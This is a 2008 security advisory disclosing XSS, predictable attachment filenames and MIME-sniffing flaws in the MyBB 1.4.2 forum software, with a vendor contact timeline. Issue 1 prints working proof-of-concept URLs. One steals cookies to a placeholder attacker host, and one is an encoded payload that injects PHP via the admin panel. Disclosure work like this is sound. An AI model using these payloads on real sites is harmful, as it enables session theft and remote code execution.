====================================================================== Advisory: MyBB 1.4.2 - Multiple Vulnerabilities Release Date: October 27 2008 Application: MyBB Version: MyBB 1.4.2 Platform: PHP Vendor URL: http://www.mybboard.net/ Authors: Kellanved, NeoThermic, Techie-Micheal ======================================================================= Overview Due to various failures in sanitising user input, MyBB is vulnerable to XSS. This is enough to circumvent CSRF protection and to inject PHP code. We deeply regret having to disclose this, but we were not able receive an appropriate response due to the vendor claiming these issues are not vulnerabilities when they are and their security tracker being down. Therefore, this is being released so that the users of MyBB will be able to find a patch to keep them safe from these severe issues. ======================================================================= Discussion MyBB is a discussion board that has been around for a while; it has evolved from other bulletin boards into the forum package it is today. Therefore, it is a professional and efficient discussion board, developed by an active team of developers. Due to the misuse/improper validation of the url parameter during an AJAX request, we were able to cause XSS, contrary to statements made by the developers of MyBB. This XSS has the ability to cause Remote Code Execution, making it critical in nature. As XSS can be easily used to circumvent MyBB's CSRF protection, it is possible to inject PHP code into the template via the ACP with any of the XSS issues. This is facilitated by the constant form tokens used in MyBB and by the use of PHP double-quoted strings as template variables. The former makes it easy to write escalating exploits, the latter allows PHP injection using the curly brace notation. Secondly, it is possible to guess the attachment filenames based on known factors, making it easy to break IE's poor MIME handling, including IE8. Given the user ID and post time, uploaded files are easily "guessed." Lastly, due to an incomplete fix, MyBB does not properly fix a MIME- sniffing issue, making it possible to exploit IE6-8. ======================================================================= Issue 1: XSS using the AJAX switch for redirects The redirect() function uses an AJAX switch to allow JavaScript redirects instead of HTTP. This can be exploited by using single quotes which are not escaped by htmlspecialchars. This XSS is particularly grave, as it affects moderators and administrators, allowing attackers to take actions with escalated privileges, which can result in PHP and SQL injection (see recent vB exploits). This was not fixed in 1.4.2. PoC: http://www.victim.example/mybb/moderation.php?action=removesubscriptions&ajax=1&url=' %2Balert('XSS!')// Cookie Stealing PoC: http://www.victim.example/mybb/moderation.php?action=removesubscriptions&ajax=1&url=%27%20%2B%27http://www.attacker.example/cookiejar.php?c=%27%2Bdocument.cookie// Remote Code Execution PoC: http://www.victim.example/mybb/moderation.php?action=removesubscriptions&ajax=1&url=%27%2Beval(%22u%3D%27application%2Fx-www-%27%2B%20%27form-urlencoded%27%22%2B%20String.fromCharCode(59)%20%2B%22c%3D%27Content-type%27%22%2B%20String.fromCharCode(59)%20%2B%22d%3D%27Content-length%27%22%2B%20String.fromCharCode(59)%20%2B%22reg%3Dnew%20XMLHttpRequest()%22%2B%20String.fromCharCode(59)%20%2B%22reg.open(%27GET%27%2C%20%27http%3A%2F%2Fwww.victim.example%2Fmybb%2Fadmin%2Findex.php%3Fmodule%3Dconfig%2Fmycode%26action%3Dadd%27%2C%20false)%22%2B%20String.fromCharCode(59)%20%2B%22reg.send(null)%22%2B%20String.fromCharCode(59)%20%2B%22r%3Dreg.responseText%22%2B%20String.fromCharCode(59)%20%2B%22t%3D%27http%3A%2F%2Fwww.victim.example%2Fmybb%2Fadmin%2Findex.php%3Fmodule%3Dconfig%2Fmycode%26action%3Dadd%27%22%2B%20String.fromCharCode(59)%20%2B%22t2%3D%27%26replacement%3D%241%26active%3D1%26my_post%22%20%20%20%20%2B%22_key%3D%27%2Br.substr(r.indexOf(%27my_post_%22%20%2B%22key%27%2B%20%27%27)%2B15%2C32)%22%2F*%20%20%20%20%20%20*%2F%2B%22%20%2B%27%26title%3DPwned%26description%27%2B%20%27%3Dfoo%26regex%3D%22%20%20%20%20%20%20%20%2B%22evil(.*)evil%2523e%2500test%27%22%2B%20String.fromCharCode(59)%20%2B%22r2%3Dnew%20XMLHttpRequest()%22%2B%20String.fromCharCode(59)%20%2B%22r2.open(%27POST%27%2Ct%2Cfalse)%22%2B%20String.fromCharCode(59)%20%2B%22r2.setRequestHeader(d%2Ct2.length)%22%2B%20String.fromCharCode(59)%20%2B%22r2.setRequestHeader(c%2Cu)%22%2B%20String.fromCharCode(59)%20%2B%22r2.sendAsBinary(t2)%22%2B%20String.fromCharCode(59))// All that is required is an active admin session for cookie stealing and Remote Code Execution. This adds the BBcode evil and can be used as follows: evilphpinfo()evil Note: The %20 padding is necessary and must be custom-tailored to the victim due to how MyBB handles posting, if using the posting form. However, CSRF can be used instead of posting directly to the site. Issue 2: "Guessing" of attachment filenames On certain server setups running MyBB, it is possible to guess the filename of an uploaded file. The code in question is this: $filename = "post_".$mybb->user['uid']."_".time().".attach"; This creates a filename of the following: post_1234_[unix timestamp].attach. This makes it very easy to guess the filename and bypass any sort of MIME- sniffing protection. It also means privilege escalation, as attachments can be read regardless of the user's permissions. It is not even hard to guess the filename without knowing the post time - just a few million attempts due to the weak randomization used. Issue 3: Incomplete protection against MIME-sniffing. MyBB fails to properly deliver uploaded files in a way that avoids MIME-sniffing by the Internet Explorer family of browsers. This can be exploited to upload files that will be interpreted as HTML by Internet Explorer. As this vulnerability is present in many applications, we will not provide a PoC. None of the reported issues were fixed in the 1.4.2 release or since. ======================================================================= History August 18 2008: Vendor contacted September 02 2008: Vendor contacted again, due to no response September 03 2008: Vendor announced full source audit to be performed by Gulftech September 17 2008: Patch released, vulnerabilities incorrectly credited to Gulftech, two out of three vulnerabilities left exploitable, with the XSS and the MIME-sniffing September 17 2008: After learning about the release from sources other than the vendor, FD September 23/24 2008: Emailed again in an attempt to ensure MyBB understood the severity of the MIME-sniffing vulnerability and alerting them to the XSS October 05/06 2008: MyBB replied that the XSS was a non-issue October 27 2008: Release after MyBB has failed to release a fix after numerous attempts to explain the severity of the vulnerabilities, Issue 2 was previously unreported ======================================================================= ======================================================================= Solution For users: Per usual, update as soon as a patch becomes available. For MyBB: Give credit to researchers where due. ======================================================================= Fun quote for the day (and mention of a really good book): "What we found was startling: Security and coding flaws were so prevalent that an attack might be delayed because the attacker might get stuck trying to choose from all the different vulnerabilities to exploit without knowing where to turn first. (Such delay tactics are not recommended as a security strategy.)" - Aviel D. Rubin, Exploiting Software: How to Break Code, Foreword